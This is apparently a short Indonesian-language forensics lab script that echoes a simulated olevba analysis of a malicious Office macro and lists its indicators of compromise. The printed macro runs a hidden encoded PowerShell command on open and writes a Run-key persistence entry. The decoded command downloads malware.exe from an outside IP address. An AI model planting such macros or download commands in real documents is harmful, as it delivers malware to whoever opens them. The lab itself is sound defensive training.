Int 5: Office Document Forensics - Menganalisis Macro & OLE Objects

cd ~ && mkdir forensics-int5 && cd forensics-int5

# 1. Simulasi analisis dengan olevba
echo "=== olevba Analysis ==*"
cat << 'OLEVBA'
+----------+--------------------+---------------------------------+
| Type     | Stream             | Location                        |
+----------+--------------------+---------------------------------+
| OLE      | ✓                  | ✓                               |
| Macros   | ✓                  | ✓ VBA                           |
| Excel    | ✓                  | ✓                               |
+----------+--------------------+---------------------------------+

VBA MACRO (decoded):
----------------------------------------------------
Sub Auto_Open()   ← Macro berjalan OTOMATIS saat file dibuka
    Dim payload As String
    payload = "powershell -enc SUVYIChOZXctT2JqZWN0..."
    Call Shell(payload, vbHide)  ← Eksekusi PowerShell HIDDEN!
    
    ' Persistence
    CreateObject("WScript.Shell").RegWrite _
        "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Updater", _
        "C:\Users\user\AppData\Roaming\svchost.exe"
End Sub

Indicators:
  [x] Auto-executable macro (Auto_Open) → Critical
  [x] Shell() function → execute command
  [x] PowerShell encoded command
  [x] Registry persistence
  [x] vbHide → stealth execution
OLEVBA

# 2. Analisis OLE Structure
echo ""
echo "=== OLE Structure ==*"
echo "  Root Entry: ✓"
echo "  WordDocument: ✓"
echo "  1Table: ✓"
echo "  Macros/: ✓ (VBA Project)"
echo "    └── VBA/NewMacros → Auto_Open()"
echo "    └── VBA/ThisDocument → Document_Open()"
echo ""

# 3. Ekstrak Indicators
echo "=== Indicators of Compromise ==*"
echo "  🔴 AutoMacro: Auto_Open() + Document_Open()"
echo "  🔴 PowerShell encoded command"
echo "  🔴 WScript.Shell (Shell creation)"
echo "  🔴 Registry write (persistence)"
echo "  🔴 vbHide (stealth)"
echo "  🔴 External URL (potential payload download)"

# 4. Simulasi decode PowerShell
echo ""
echo "=== PowerShell Decode ==*"
echo "Base64: SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQ..."
echo "Decoded: IEX (New-Object Net.WebClient).DownloadFile("
echo "         'http://203.0.113.5/malware.exe',"
echo "         'C:\\Users\\user\\malware.exe')"